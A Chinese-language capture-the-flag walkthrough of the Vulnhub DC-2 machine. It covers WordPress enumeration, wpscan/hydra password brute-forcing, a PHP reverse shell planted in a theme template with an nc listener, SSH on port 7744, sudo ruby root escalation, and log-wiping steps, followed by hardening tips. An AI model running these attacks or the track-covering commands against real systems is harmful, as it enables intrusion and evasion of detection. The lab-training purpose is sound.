1. DC-2靶机渗透环境搭建
1.1 靶机镜像获取与初始化
DC-2是Vulnhub平台提供的经典渗透测试靶机,基于WordPress构建的漏洞训练环境。首先从Vulnhub官网下载OVA格式的虚拟机镜像(约1.2GB),使用VirtualBox导入时需注意以下配置细节:
- 网络模式必须选择"Host-only Adapter"(仅主机模式),这是确保攻击机(Kali Linux)与靶机在同一网络段的关键
- 内存分配建议1GB以上,否则WordPress服务可能启动异常
- 首次启动时会自动执行初始化脚本,这个过程约需3-5分钟
注意:如果遇到启动卡死的情况,需要检查虚拟化支持是否在BIOS中启用,Intel VT-x/AMD-V技术必须开启
1.2 网络拓扑与IP发现
在Kali Linux攻击机上使用arp-scan快速定位靶机IP:
bash复制sudo arp-scan -l --interface=eth0
典型输出结果会显示类似192.168.56.102的地址,这就是DC-2的IP。此时通过浏览器访问该IP应能看到WordPress默认首页。
如果arp-scan未能发现目标,可能需要手动检查VirtualBox的DHCP服务器配置:
- 进入VirtualBox全局设置 -> 网络 -> Host-only Networks
- 确认IPv4地址范围(如192.168.56.0/24)
- 确保DHCP服务器已启用
2. 信息收集与漏洞扫描
2.1 WordPress基础信息枚举
使用WPScan进行初步扫描:
bash复制wpscan --url http://192.168.56.102 -e vp,vt,u
关键参数说明:
-e vp:扫描易受攻击的插件-e vt:扫描主题漏洞-e u:枚举用户列表
扫描结果通常会显示:
- WordPress版本4.7.4(存在已知漏洞)
- 用户列表:admin, jerry, tom
- 使用主题:twentyseventeen
2.2 端口与服务探测
Nmap全面扫描:
bash复制nmap -sV -A -p- 192.168.56.102
典型输出显示两个开放端口:
- 80/tcp:Apache httpd 2.4.25(WordPress)
- 7744/tcp:SSH服务(非标准端口)
重要发现:SSH服务运行在非常规端口7744,这会影响后续爆破策略
3. 漏洞利用与权限提升
3.1 WordPress密码爆破实战
首先准备用户字典(users.txt)和密码字典(rockyou.txt):
code复制admin
jerry
tom
使用WPScan进行密码爆破:
bash复制wpscan --url http://192.168.56.102 -U users.txt -P /usr/share/wordlists/rockyou.txt
爆破成功后通常会得到jerry/tom的弱密码(如adore、parturient等)。
3.2 WordPress后台getshell
- 登录WordPress后台(/wp-admin)
- 进入"外观"->"编辑",选择404.php模板
- 插入PHP反向shell代码(推荐使用pentestmonkey的php-reverse-shell)
- 访问不存在的页面触发shell(如http://192.168.56.102/?p=9999)
在Kali上监听:
bash复制nc -lvnp 4444
成功获取www-data权限的shell。
3.3 横向移动与SSH登录
在获取的shell中查找用户凭据:
bash复制find / -name "*.txt" 2>/dev/null | grep -i pass
通常在/var/www/html目录会发现credentials.txt,包含SSH密码。
使用发现的密码通过非标准端口登录:
bash复制ssh tom@192.168.56.102 -p 7744
4. 权限提升与最终突破
4.1 sudo权限滥用
检查tom用户的sudo权限:
bash复制sudo -l
发现可以无密码执行/usr/bin/ruby,于是构造payload:
bash复制sudo ruby -e 'exec "/bin/bash"'
立即获得root权限。
4.2 标志文件获取
最终在以下位置找到flag:
- /root/final-flag.txt
- /home/tom/flag2.txt
- /home/jerry/flag1.txt
5. 渗透测试深度技巧
5.1 WordPress漏洞利用的替代方案
如果WPScan爆破不成功,可以尝试:
- 利用XML-RPC接口爆破(请求量更少):
bash复制wpscan --url http://192.168.56.102 -U users.txt -P rockyou.txt --password-attack xmlrpc
- 使用hydra直接爆破wp-login.php:
bash复制hydra -L users.txt -P rockyou.txt 192.168.56.102 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect"
5.2 非标准端口SSH的自动化处理
在~/.ssh/config中添加配置:
code复制Host dc-2
HostName 192.168.56.102
Port 7744
User tom
之后只需执行ssh dc-2即可连接。
5.3 痕迹清理实操
完成渗透后应清理日志:
- WordPress日志:
bash复制rm /var/www/html/wp-content/debug.log
- SSH登录记录:
bash复制echo "" > /var/log/auth.log
- Bash历史记录:
bash复制history -c && rm ~/.bash_history
6. 防御方案与加固建议
6.1 WordPress安全加固
- 禁用文件编辑功能:在wp-config.php添加:
php复制define('DISALLOW_FILE_EDIT', true);
-
限制登录尝试:安装Login LockDown插件
-
更改默认表前缀(不是wp_)
6.2 系统级防护
- 配置SSH:
bash复制Port 22 # 改为标准端口
PermitRootLogin no
MaxAuthTries 3
-
设置sudo权限白名单(避免通配符授权)
-
定期检查SUID文件:
bash复制find / -perm -4000 -type f 2>/dev/null
7. 渗透测试学习路径建议
对于想系统学习渗透测试的新手,建议按照以下路线:
-
基础阶段:
- 掌握Linux基础命令
- 理解HTTP协议和网络基础
- 学习OWASP Top 10漏洞原理
-
工具链掌握:
- Nmap端口扫描
- Burp Suite使用
- Metasploit框架
- WPScan专项工具
-
靶机实战路线:
- Vulnhub:DC系列 → Kioptrix系列
- HackTheBox:Starting Point → Easy Machines
- CTF比赛:Web类题目
-
持续提升:
- 关注CVE漏洞公告
- 研究真实世界漏洞报告
- 参与漏洞赏金计划
我在实际渗透测试中发现,很多企业WordPress站点仍在使用admin/123456这类弱密码。建议管理员至少做到:
- 使用16位以上复杂密码
- 启用双因素认证
- 定期更新核心和插件
- 禁用XML-RPC接口(wp-config.php中添加
add_filter('xmlrpc_enabled', '__return_false');)
对于防御方,推荐安装Wordfence安全插件,它能提供:
- 实时流量监控
- 登录尝试限制
- 文件完整性检查
- 防火墙规则管理
